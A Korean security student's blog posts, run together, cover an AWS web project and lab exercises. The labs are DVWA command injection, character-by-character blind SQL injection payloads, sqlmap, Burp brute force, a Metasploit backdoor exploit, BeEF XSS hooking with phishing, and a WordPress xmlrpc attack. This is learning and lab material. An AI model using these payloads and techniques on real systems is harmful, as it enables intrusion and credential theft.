반응형
반응형

첫 번째 스텝. AWS에 Apache 서비스 올리기

AWS에 웹서비스를 구현하기위한 EC2를 생성하였다.

EC2 생성 전에 VPC, 서브넷 설정관련 사항
https://velog.io/@0x6a0x640x68/Shielders-Rookies-18

원활한 작업을 위해 vscode 와 연동을 진행하였다.
config 폴더에 해당 ec2 퍼블릭 ip와 user , 키 위치 디렉토리를 넣으면 연동이된다

정상적으로 연동이 되었고 아파치 서비스 동작 확인

두번째 스텝. DB와 연동된 게시판과 회원가입 홈페이지 구현

https://www.inflearn.com/course/%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EC%98%88%EC%A0%9C-%EC%B4%88%EA%B8%89-1/dashboard

인프런에서 현재 무료로 배포중인 수업중 프론트엔드 개발 시 꼭 해봐야 하는 실무 예제 Part.1 수업 및 MySQL 강의를 통해 프론트엔드와 백엔드를 구현예정이다.

 

현재 DB 연동 이전에 프론트엔드로 뼈대를 만드는 작업중에있다.

빨간색으로 칠한 회원가입, 회원탈퇴, 로그아웃, 본인소개, 프로젝트소개, 게시판, 회원조회, 서비스(미구현 가능성있음)로 홈페이지의 뼈대를 잡았다.

DB와 연동되는 회원가입, 회원탈퇴, 회원조회, 로그인, 로그아웃, 게시판 부분은 PHP를 통하여 구현 예정이고 본인 소개, 프로젝트 소개란은 자바스크립트를 이용해 구현예정이다.

현재까지 진행 내역 및 앞으로 진행 예정

진행중 이슈

1. 본인소개 페이지
- 현재 노션으로 리다이렉트 됨
변경예정
-> 본인소개는 따로 빼서 노션아이콘을 클릭하면 노션으로 가게끔 변경 예정이다.
https://verbose-chokeberry-485.notion.site/_-4b6281ab8a8944918900a3077e8ce9a5 
리다이렉트될 노션 주소이다.

2. 프로젝트 소개 페이지
- 현재 페이지 한개 내용 켜지면 다른 페이지 닫히지 않음
- 한개 내용 한번 더 클릭 시에 페이지 닫히지않음(현재 Notice All close 버튼을 통해 모든 글 한번에 닫음

변경예정 및 수정사항
-> 프로젝트소개 클릭시에(파란색밑줄) 뜨던 부분 수정
-> 페이지에 한 내용만 볼 수 있게 수정예정, 내용 한번더 클릭 시 문서 닫을예정
-> 본문 배경색 하양색에 글씨 검은색으로 수정 예정

홈페이지 구현

오늘은 8개 페이지(회원가입, 회원탈퇴, 로그인,로그아웃, 본인소개, 프로젝트소개, 게시판, 회원조회) 중 회원가입 페이지를 만들었다.

<HTML>
<HEAD>
<META http-equiv="content-type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css" >
	<style>
    .input-form {
      max-width: 680px;

      margin-top: 80px;
      padding: 32px;

      background: #fff;
      -webkit-border-radius: 10px;
      -moz-border-radius: 10px;
      border-radius: 10px;
      -webkit-box-shadow: 0 8px 20px 0 rgba(0, 0, 0, 0.15);
      -moz-box-shadow: 0 8px 20px 0 rgba(0, 0, 0, 0.15);
      box-shadow: 0 8px 20px 0 rgba(0, 0, 0, 0.15)
    }
  </style>
<link rel="stylesheet" href="./accordion_1.css">
</HEAD>
<BODY>
	<div class="container">
		<div class="input-form-backgroud row">
      		<div class="input-form col-md-12 mx-auto">
		<h3 style="text-align:center; padding-top:50px" >
            <a href="index.html">회원가입</a>
            <small class="text-muted">myFirst_SideProject_2023</small>
        </h3>
		<form class="validation-form" METHOD="post"  ACTION="insert_result.php" >
          <div class="row">

            <div class="col-md-6 mb-3">
              <label for="userID">ID</label>
              <input type="text" class="form-control" NAME="userID" required>
              <div class="invalid-feedback">
                ID를 입력해주세요.
              </div>
            </div>
            <div class="col-md-6 mb-3">
              <label for="name">이름</label>
              <input type="text" class="form-control" NAME="name" required>
              <div class="invalid-feedback">
                이름을 입력해주세요.
              </div>
            </div>
          </div>

          <div class="mb-3">
            <label for="birthYear">생일</label>
            <input type="text" class="form-control" NAME="birthYear" required>
            <div class="invalid-feedback">
              생일을 입력해주세요.
            </div>
          </div>

          <div class="mb-3">
            <label for="addr">지역</label>
            <input type="text" class="form-control" NAME="addr" required>
            <div class="invalid-feedback">
              주소를 입력해주세요.
            </div>
          </div>

          <div class="mb-3">
            <label for="mobile1">휴대폰</label>
            <input type="text" class="form-control" NAME="mobile1">
          </div>

          <div class="mb-3">
            <label for="mobile2">전화번호</label>
            <input type="text" class="form-control" NAME="mobile2">
          </div>

          <div class="mb-3">
            <label for="height">신장</label>
            <input type="text" class="form-control" NAME="height">
          </div>
          <hr class="mb-4">
          <div class="custom-control custom-checkbox">
            <input type="checkbox" class="custom-control-input" id="aggrement" required>
            <label class="custom-control-label" for="aggrement">개인정보 수집 및 이용에 동의합니다.</label>
          </div>
          <div class="mb-4"></div>
          <button class="btn btn-primary btn-lg btn-block" type="submit" VALUE="회원 입력">가입 완료</button>
        </form>
      </div>
    </div>
</div>
</BODY>


</HTML>

우선 편의를 위해 모든 데이터를 text로 전달했다.

 

<HTML>
<HEAD>
<META http-equiv="content-type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css" >
	<style>
    .input-form {
      max-width: 680px;

      margin-top: 80px;
      padding: 32px;

      background: #fff;
      -webkit-border-radius: 10px;
      -moz-border-radius: 10px;
      border-radius: 10px;
      -webkit-box-shadow: 0 8px 20px 0 rgba(0, 0, 0, 0.15);
      -moz-box-shadow: 0 8px 20px 0 rgba(0, 0, 0, 0.15);
      box-shadow: 0 8px 20px 0 rgba(0, 0, 0, 0.15)
    }
  </style>
<link rel="stylesheet" href="./accordion_1.css">
</HEAD>
<BODY>
<div class="container">
		<div class="input-form-backgroud row">
      		<div class="input-form col-md-12 mx-auto">
		<h3 style="text-align:center; padding-top:50px" >
            <a href="index.html">회원삭제</a>
			<small class="text-muted">myFirst_SideProject_2023</small>
        </h3>
<FORM METHOD="post"  ACTION="delete_result.php">
<div class="row">

<div class="col-md-6 mb-3">
  <label for="userID">ID</label>
  <INPUT TYPE ="text" class="form-control" NAME="userID" >
  <div class="invalid-feedback">
	ID를 입력해주세요.
  </div>
</div>
<div class="col-md-6 mb-3">
  <label for="name">이름</label>
  <INPUT TYPE ="text" class="form-control" NAME="name" >
  <div class="invalid-feedback">
	이름을 입력해주세요.
  </div>
</div>
</div>
	위 회원을 삭제하겠습니까?	
  <div class="mb-4"></div>
  <button class="btn btn-primary btn-lg btn-block" type="submit" VALUE="회원 탈퇴">회원 탈퇴</button>
</FORM>

</BODY>
</HTML>

우선 편의를 위해 모든 데이터를 text로 전달했다.
delete_result.php로 데이터를 전달해 DB서버에 데이터를 업데이트할 예정이다.

 

현재 ubuntu에서 모든서버들이 올라가있어 주요정보통신시설 취약점 진단 가이드를 참고하여 ubuntu 진단 스크립트를 작성중에 있다.

bob3rdnewbie.tistory.com에 N3wbieH4cker의 코드를 참고하였다.


#!/bin/sh

# Coded by N3wbieH4cker
# bob3rdnewbie.tistory.com



# check priv
if [ "$EUID" -ne 0 ]
	then echo "root 권한으로 스크립트를 실행하여 주십시오."
	exit
fi


alias ls=ls
CF=`hostname`"_scan_result_"`date +%F__%T`.txt

echo > $CF 2>&1



echo "**********************************************************************"
echo "*                    리눅스 취약점 진단 스크립트                     *"
echo "**********************************************************************"
echo "*   항목에 따라 시간이 다른 항목에 비하여 다소 오래 걸릴수 있습니다  *"
echo "*   스캔 보고서는 hostname_scan_result_시각.txt  파일로 저장 됩니다  *"
echo "*   기준은 [주요 정보통신 기반 시설 취약점 분석,평가기준] 문서입니다 *"
echo "**********************************************************************"
echo ""

sleep 3


echo "**********************************************************************" >> $CF 2>&1
echo "*                           리눅스 스크립트                          *" >> $CF 2>&1
echo "**********************************************************************" >> $CF 2>&1
echo "" >> $CF 2>&1


echo "############################# 시작 시간 ##############################"
date


echo "############################# 시작 시간 ##############################"  >> $CF 2>&1
date >> $CF 2>&1


echo "============================  시스템  정보 ===========================" >> $CF 2>&1
echo >> $CF 2>&1

echo "1. 시스템 기본 정보" >> $CF 2>&1
echo "    운영체제	: " `lsb_release -a` >> $CF 2>&1
echo "    호스트 이름	: " `uname -n` >> $CF 2>&1
echo "    커널 버전	: " `uname -r` >> $CF 2>&1
echo >> $CF 2>&1

echo "2. 네트워크 정보" >> $CF 2>&1
ifconfig -a >> $CF 2>&1
echo >> $CF 2>&1

echo 
echo
echo >> $CF 2>&1
echo >> $CF 2>&1

echo "************************** 취약점 체크 시작 **************************" 
echo


echo "************************** 취약점 체크 시작 **************************" >> $CF 2>&1
echo >> $CF 2>&1
echo >> $CF 2>&1


echo "============================== 계정 관리 =============================" 
echo "============================== 계정 관리 =============================" >> $CF 2>&1

echo "01. root 계정 원격 접속 제한"
echo "01. root 계정 원격 접속 제한" >> $CF 2>&1

if [ -z "`grep permitrootlogin no\? /etc/ssh/sshd_config`" ]
	then
		echo "    ==> [안전] 콘솔 로그인만 가능합니다" >> $CF 2>&1
	else
		echo "    ==> [취약] 콘솔 로그인 이외의 로그인이 가능합니다" >> $CF 2>&1
fi
echo >> $CF 2>&1
echo

echo "02. 패스워드 복합성 설정(및 정책)"
echo "02. 패스워드 복합성 설정(및 정책)" >> $CF 2>&1
반응형

'공부 > 보안' 카테고리의 다른 글

[보안] Docker취약점 분석 실습  (0) 2023.04.08
[보안] Bandit  (0) 2023.04.06
[보안] DVWA를 통한 해킹실습  (0) 2023.04.05
[보안] Metasploit를 이용한 취약점진단 실습  (0) 2023.04.05
클라우드 운영 실습  (0) 2023.04.05
반응형

1.Command Injection
2.Blind SQL Injection
3.Brute Force Attack
4.후기

실습환경
가상머신 : vmware Workstation 16 Player
운영체제 : Ubuntu-20.04.2.0
Memory : 2 GB
Processors : 2
Hard Disk : 20 GB
Network : NAT
가상머신 : vmware Workstation 16 Player
운영체제 : kali-linux-2022
Memory : 2 GB
Processors : 4
Hard Disk : 80 GB
Network : NAT

1.Command Injection

  • 리눅스 명령어를 실행시키는 것이 목적
    (pwd, ls, ls -al, who, cat /etc/passwd 등등)
  • IoT기기들에서 주로 많이 발생한다

  • 현재 페이지는 Ping을 실행하는것이 목적인 사이트이다. 현재 게이트웨이 192.168.5.2에 제대로 통신이 되는게 확인된다.

1) Low

  • && 기호를 포함하여 리눅스 명령어를 추가하니 해당 명령어에 대한 내용이 출력되는것을 확인할 수 있다

&&는 앞명령이 실행되면 뒷명령을 실행하는 리눅스 다중 명령어이다.

;(세미콜론)을 이용해서도 명령어 출력이 가능한데 세미콜론의 경우는 앞명령의 성공여부와 상관없이 뒷명령이 출력된다.

2) Medium

Medium 소스코드 확인시 &&, ;을 블랙리스트로 막아논것을 확인할 수 있다.

리눅스에는 더블 버티컬바(||)가 있는데 앞 명령 성공되지 않을시 뒷 명령을 실행하는 다중명령어이다. 해당 다중명령어를 사용하여 ls 명령어를 실행하였다.

리눅스 |(파이프)를 사용하면 앞이 조건, 뒤는 명령문이 들어가게된다
Ping 명령과 같은 경우에는 뒤에 명령어에 영향을 주지 않기 때문에 출력이된다.

2.Blind SQL Injection

이전에 한번 소개했던 Blind SQL Injection 실습이다.

Blind SQL이란 DB구조에 대해서 잘 모르는 상태에서 DB명, Table명, colum명 등을 알아내려고 시도하는 것이다.
1) DVWA 실습

1~9까지 User ID에 삽입하였을때 밑에와 같은 DB에 존재한다는 메시지가뜬다.

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,1) = 'a'#

-> 첫번째 글자는 d임
-> 두번째 글자는 v
-> 세번째 글자는 w
-> 네번째 글자는 a

1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),1,1) = 'g'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),2,1) = 'u'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),3,1) = 'e'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),4,1) = 's'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),5,1) = 't'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),6,1) = 'b'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),7,1) = 'o'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),8,1) = 'o'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 0,1),9,1) = 'k'#
= guestbook


1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),1,1) = 'u'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),2,1) = 's'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),3,1) = 'e'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),4,1) = 'r'#
1' and substring((select distinct table_name from information_schema.columns where table_schema='dvwa' Limit 1,1),5,1) = 's'#

= users

쿼리 문을 하나씩 날려 확인하였다.

아무래도 글자하나하나 공격하여 알아내는 방법에는 시간적인 어려움이 있기때문에 자동화 툴을 사용해보았다.

2) 칼리 리눅스에서 자동화된 툴을 이용하여 디비구조를 알아보는 실습

칼리 리눅스의 SQLmap을 통해 실습해본다.

sudo sqlmap -h // -h는 help
-u : url을 사용할 때
--cookie : cookie값을 입력할 때
--tables : 테이블 목록을 알고 싶을때
--columns : 컬럼 목록을 알고 싶을때
--dump : 메모리에서 값을 확인 할 때

-D DB명
-T Table명
-C 컬럼명

SQLmap 문법 : sqlmap -u "URL" --cookie " "


URL은 주소표시줄에서 복사
dvwa의 sql injection(blind)에서 주소표시줄에 있는 URL을 복사
: http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#

쿠키값
javascript:document.cookie : security=low; PHPSESSID=vf5441uq3275ds8a4fndajdah9
해당 값들을 적용하여 실습을하였다.


DB이름 출력


테이블 조회


컬럼 조회


user 및 password 컬럼 출력 해쉬값들이 모두 복호화되어 출력되는 것을 확인 할 수 있다

3.Brute Force Attack

전수 대입법 : 가능한 모든 경우의 수를 대입한다는 의미
장점 : 언젠가는 결과가 나오기는 함(성공확률 99%)
단점 : 시간이 너무 오래걸림
대응방법 : 시간이 완전히 오래걸리게 하면됨( 예를 들어, 인간의 수명보다 길면 못깨는 것)
길고 복잡하게 만듬 ( 비밀번호 14자리, 대/소/숫/특문 섞자)

  • Dictionary Attack

Brute Force Attack이 시간이 많이 걸리기 때문에 자주 사용하는 패스워드를 대입하는 방법
자주 사용하는 단어를 모아놓은 파일을 Dictionary라고 함

https://www.security.org/how-secure-is-my-password/


해당 사이트에 접속하면 비밀번호를 알아내는데 시간을 알아낼수있다.
자리 하나만 추가당 엄청난 시간이 증가하기때문에 자리수를 길게 해야되는걸 확인할 수 있다.
평소에 비밀번호 만들때 자리수를 좀 충분히 늘려서 하는편이 좋아보인다.


실습페이지에서 pablo로 접속을 실패하였다.


burp suite에서 로그인시도했던 요청 내용을 확인할 수 있었다.


clear 후에 password 부분만 add하였다.


페이로드 부분에 password를 모아놓은 파일을 추가하였다.


패스워드 대조중


패스워드 길이가 다르기때문에 letmein이 비밀번호인걸 확인할 수 있다.


실제 접속까지 확인되었고 실습이 종료되었다.

반응형

'공부 > 보안' 카테고리의 다른 글

[보안] Bandit  (0) 2023.04.06
[보안] AWS진단_사이드프로젝트  (0) 2023.04.05
[보안] Metasploit를 이용한 취약점진단 실습  (0) 2023.04.05
클라우드 운영 실습  (0) 2023.04.05
BeEF를 통한 웹해킹 실습  (0) 2023.04.05
반응형

Metasploit를 이용한 취약점진단 실습

진단실습
실습환경
가상머신 : vmware Workstation 16 Player
운영체제 : kali-linux-2022
Memory : 2 GB
Processors : 4
Hard Disk : 80 GB
Network : NAT
운영체제 : metasploitable2-Linux
Memory : 512 MB
Processors : 1
Hard Disk : 8 GB
Network : NAT

Atacker service : Kali(192.168.5.129)
Victim service : metasploitable2(192.168.5.131)

  • 실습 순서
  1. 포트스캐닝
  2. 취약점에대한 조사
  3. 스크립트를 활용한 상세 스캐닝
  4. Metasploit를 이용한 Exploit

1. 포트스캐닝

KAli를 이용하여 Victim System에 대한 포트스캐닝을 진행하였다.
이번에 실습을 진행할 포트는 irc 서비스를 진행하는 6667번 포트를 진단해보겠다.

2. 취약점에대한 조사

포트스캐닝에서 해당 서비스의 버전을 확인하였고, 구글에서 해당 버전에대한 취약점을 확인하였다.

3. 스크립트를 활용한 상세 스캐닝

Kali에서 스크립트를 활용해서 해당 포트를 상세히 스캔하였다.
irc-unrealircd-backdoor 취약점을 확인하였다.

4. Metasploit를 이용한 Exploit

## Metasploit에서 Exploit 하는 순서
msf6> search [취약점]
msf6> use [공격모듈]	//공격모듈 장착
msf6> info 		//장착한 모듈에 대한 설명을 볼 수 있음
msf6> set rhosts [타겟 호스트]
msf6> set lhost [공격 호스트] // Reverse Connection(트로이목마) 등을 사용하는 페이로드인 경우에만
msf6> show payloads	 // 어떤 페이로드를 사용할 수 있는지 목록 확인
msf6> set payload [페이로드]  //페이로드 설정
msf6> show options  	 // 지금까지 설정한 내용이 올바른지 확인
msf6> exploit  		// 공격시작

Search irc 하여 관련 모듈들을 찾아보았다.
해당 모듈중에 찾아봤던 해당 버전의 취약점은 irc-unrealircd-backdoor 취약점 이였고, 해당 취약점에 해당하는 18번 모듈을 사용하였다

info 를 쳐보면 해당 모듈의 내용을 확인 할 수 있다.

show payloads를 쳐보면 사용할수 있는 payload 목록이 존재한다.
3번에 존재하는 cmd/unix/bind_ruby payload를 장착하였다

show options로 설정확인 후 exploit
Victim system에 접속된것을 확인할 수 있었다

반응형

'공부 > 보안' 카테고리의 다른 글

[보안] AWS진단_사이드프로젝트  (0) 2023.04.05
[보안] DVWA를 통한 해킹실습  (0) 2023.04.05
클라우드 운영 실습  (0) 2023.04.05
BeEF를 통한 웹해킹 실습  (0) 2023.04.05
SIEM 구축 및 활용 실습  (0) 2023.04.05
반응형

클라우드 운영 실습
실습환경
WAS서버
가상머신 : vmware Workstation 16 Player
운영체제 : Ubuntu-20.04.2.0
Memory : 4 GB
Processors : 2
Hard Disk : 20 GB
Network : NAT
클라우드환경 : AWS

아마존 계정 로그인

각자 다른 리전에서 작업
Zone : 가상의 데이터센터 (실제로는 3개 이상의 물리적인 데이터센터에 걸쳐있는 가상의 데이터센터)
리전마다 Zone은 3개 이상 구성
리전을 따로 사용하는 이유는 VPC를 만들 수 있는 개수가 제한이 있음

AWS 스토리지 (Storage)

저장 창고 (데이터를 보관함)
Amazon S3 (Simple Storage Service)
데이터를 Bucket 단위로 관리할 수 있음
Bucket은 이름을 고유한 이름으로 만들어야 함 (전세계에서 유일한 이름으로 설정)

1) 스토리지를 만들기위해 서비스중 스토리지를 클릭

2) AWS의 스토리지 서비스 중 S3(Simple Storage Service)를 사용하도록한다.

3) 버킷 생성 버튼이후 버킷의 이름, ACL 접근제어를 사용유무를 선택할 수 있다.

4) 모든 퍼블릭 액세스 차단여부를 선택할 수 있는데 차단시에는 다른사용자들은 모두 접근이 불가능하고 USB와 같은 용도가된다.

5) 해당 bucket을 생성하면 6가지(객체, 속성, 권한, 지표, 관리, 액세스지점) 메뉴가 존재한다.

6) bucket에 사진을 업로드 하였고, 다른 사용자들에게도 볼 수 있게 하기 위해 퍼블릭 읽기 액세스 권한을 부여하였다.

7) 해당 버킷에 업로드 이후에 로컬 웹서버 index.html에 해당 객체 url을 입력하였고, 업로드했던 사진을 로컬에서도 확인할 수있었다.

  • 버킷 사용 방법
    나 혼자만 보려는 파일 - Private 설정
    모두에게 공개하려는 파일 - Public 설정
    특정 권한이 있는 사람에게만 공유하려는 파일 - ACL을 적용
  • 인터넷으로 스토리지에 있는 파일을 공개하려면?
    Bucket도 Public 설정 and 객체도 Public 설정 - 인터넷에 공개됨

정적 웹사이트 호스팅

AWS에 업로드된 파일 URL을 포함한 Index파일을 버킷에 업로드하였다.

<html>
<head>
<meta charset="utf-8">
<title>Save the Earth</title>
</head>
<body>
<center>
<img src="[업로드 파일 URL]" width="600px" height="300px">
<br>
<h1>소주엔 꼼장어</h1>
<br>
<h6>후원문의:1588-xxxx</h6>
</center>
</body>
</html>

버킷의 속성탭에서 정적 웹사이트 호스팅 편집을하고

해당내용대로 설정하면된다.

웹호스팅을 진행한 이후 서비스를 시작한 내 웹사이트 모습이다.

반응형
반응형

CLI를 활용한 클라우드 인프라 구축실습
실습클라우드환경 : AWS
로컬환경 : Ubuntu22.04LTS
1.CLI Configure
2.EC2 생성
3.EC2 접속
4.LAMP(Linux,Apache,PHP,MariaDB) 구축

1.CLI 접속

우선 CLI로 로컬에서 접속하기 위해서는 AWS의 IAM접속 , 자기 계정의 보안자격 증명에 액세스 키를 생성해야한다.

로컬에 awscli가 설치되어있지 않다면 명령어를 통해 awscli를 설치 후 해당 액세스키를 로컬에서 aws configure을 통해 Key를 입력한다.

sudo pip install awscli
aws configure

2.EC2 생성

EC2의 AMI 카탈로그 ami 번호를 복사한다.

aws ec2 run-instances --image-id ami-026b57f3c383c2eec(복사된 ami번호를입력) --count 1 --instance-type t2.micro --key-name aws-key1 --security-group-ids sg-0198e0d615a60d3c2 --subnet-id subnet-0f5a4d2f28e34efe8 

해당 명령어를 통해 amazon linux를 갖는 Ec2를 생성하였다.

3.EC2 접속

Putty를 통해 접속한다.

  • IP 입력

  • Key 삽입
  • EC2 접속 완료

4.LAMP(Linux,Apache,PHP,MariaDB) 구축

  • 명령어를 사용해서 여러설정을 해준다.
wget https://wordpress.org/latest.tar.gz  // Wordpress 설치
tar -xzf latest.tar.gz // 압축해제
sudo yum install mariadb-server // mariaDB설치
mysql -u root -p // mariaDB 접속
CREATE USER 'wordpress-user'@'localhost' IDENTIFIED BY 'your_strong_password';
// wordpress DB 사용 계정 생성
CREATE DATABASE `wordpress-db`;
// wordpress DB 생성
GRANT ALL PRIVILEGES ON `wordpress-db`.* TO "wordpress-user"@"localhost";
// 사용계정에 권한부여
FLUSH PRIVILEGES;
// FLUSH 해줘야 권한적용
exit
cp wordpress/wp-config-sample.php wordpress/wp-config.php
vi wordpress/wp-config.php
  • wp-config.php 설정모습

cp -r wordpress/* /var/www/html/
mkdir /var/www/html/blog
cp -r wordpress/* /var/www/html/blog/
sudo vi /etc/httpd/conf/httpd.conf
  • httpd.conf 설정모습

<var/www/html> 밑에 AllowOverride를 ALL로 바꾼다.

sudo cp -r wordpress/* /var/www/html/blog //아파치 파일 밑으로 wordpress 파일 복사 
sudo chown -R apache /var/www // 파일소유권 변경
sudo chgrp -R apache /var/www // 그룹소유권 변경
find /var/www -type d -exec sudo chmod 2775 {} \; // /var/www권한설정 
find /var/www -type f -exec sudo chmod 0644 {} \; // /var/www 하위파일 권한 설정
sudo amazon-linux-extras install php7.2 //php 설치

  • LAMP 구축후 Wordpress 화면
반응형

'공부 > 클라우드' 카테고리의 다른 글

클라우드환경 인프라 구축 실습  (0) 2023.04.09
반응형

BeEF를 통한 웹해킹 실습
실습환경 : Kali Linux
1.BeEF란?
2.BeEF 설치
3.실습

BeEF를 통한 웹해킹 실습

  • 구성

1.BeEF란?

Kali의 Framework로 XSS등 해킹을 위한 툴이다.

2.BeEF 설치

sudo apt update
sudo apt install beef-xss
sudo beef-xss
  • BeEF, HOME 화면이다.

3.실습

스크립트로 사용할 JS코드이다.
http://192.168.5.129:3000/hook.js

강사님이 주신 서버에서 XSS올렸다.

XSS올려둔 게시판에 접속 이후, BeEF쪽 화면이다.

개발자 툴에서 네트워크를 확인해볼때 계속해서 hook.js가 실행되고 있는 모습을 볼 수 있다.

BeEF 쪽에서 Alert을 만들어줬다.

해당 browser에서 Alert이 뜨는 모습

  • 사회공학기법

Google phishing 공격

Google 화면으로 전환된다.

ID, PASSWord 가 BeEF쪽으로 넘어가는걸 볼 수 있다.

Fake Flash Update 공격

Flash 업데이트 화면이나온다.
INSTALL시 공격자가 배포하는 악성코드를 받게 된다.

metasploit을 이용한 Flash.exe 를 다운받게하였고 실행되니 Kali에서 meterpreter로 접속 하는 모습을 볼 수 있다.

 
반응형
반응형

SIEM 구축 및 활용 실습

SIEM 구축 및 활용 실습.01
시스템환경
Hostname : IP address : H/W / OS
SplunkServer : 192.168.10.10/24 : 2Core/8GB/60GB / Ubuntu 20.04
ZeekIDS : 192.168.10.20/24 : 2Core/4GB/40GB / Ubuntu 20.04
WebServer : 192.168.10.30/24 : 1Core/4GB/20GB / CentOS 8
Sysmon : 192.168.10.40/24 : 1Core/2GB/20GB / Windows 10
목차
1. 서버 세팅
2. NTP 서버 구성

구성도

1. 서버 세팅

  • SplunkServer

  • ZeekServer

  • WebServer
  • Sysmon

2.NTP 서버구성

  • 구성도
  • NTP

시간동기화 프로토콜이다.
SPLUNK에서 로그를 수집하여서 분석을 할때 중요한부분이 모든시스템의 시간을 동기화시켜야 수집하는 로그들의 발생시간을 정확하게 알고 로그분석이 가능하다.

반응형

'공부 > 보안' 카테고리의 다른 글

클라우드 운영 실습  (0) 2023.04.05
BeEF를 통한 웹해킹 실습  (0) 2023.04.05
[Report] WordPress xmlrpc 취약점  (0) 2023.04.05
[Report] Apache Solr 취약점 분석  (0) 2023.04.05
[Report] Apache Log4j 취약점 분석  (0) 2023.04.05
반응형
  1. 개요
  2. 공격
  3. 대응방안

1. 개요

WordPress 란?

워드프레스란 CMS중 하나로 네이버 블로그나 T스토리와 같은 전부 만들어진 블로그가아닌 자신이 테마와 플러그인들을 선택하여 웹사이트를 개발하고 자신의 용도에 맞춰 커스텀하여 웹사이트를 구성을 도와주는 서비스.

2. 공격

xmlrpc.php

Wordpress 의 xmlrpc.php 는 "XML-RPC"를 사용하기 위한 어플리케이션.
XML-RPC는 워드프레스로 개발된 사이트에 브라우저로 접속하지 않고 별도의 클라이언트 프로그램을 사용해 컨텐츠를 제어할 때 사용.

취약점

XML-RPC는 임의 파일 접근취약점에 의한 BructeForce 공격과 pingback기능을 사용한 스캔 및 Dos공격에 취약.

  1. BruteForce 공격
  • xmlrpc.php 접근시
  • burp를 통해 패킷 캡처
  • Method list 정보
  • BruteForce 공격


admin / admin 파라미터 입력시 로그인 확인.

  1. pinback 기능
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string> http://<YOUR SERVER >:< port></string></value>
</param>< param><value><string> http:// <사이트의 게시물 ></string>
</value></param></params>
</methodCall>

해당 요청에대한 faultcode가 0보다 큰값을 받았다면 포트가 열려있다는것을 확인해 해당포트로 공격이 가능.

해당 포트에 대한 핑백기능을 이용한/xmlrpc.php 요청

3. 대응방안

xmlrpc.php 파일을 지워 비활성화가 가능.
해당 방법은 업데이트 마다 생기기 때문에 근본적인 해결방안이 안됨.

Disable XML-RPC 플러그인 사용하여 제어.

반응형

+ Recent posts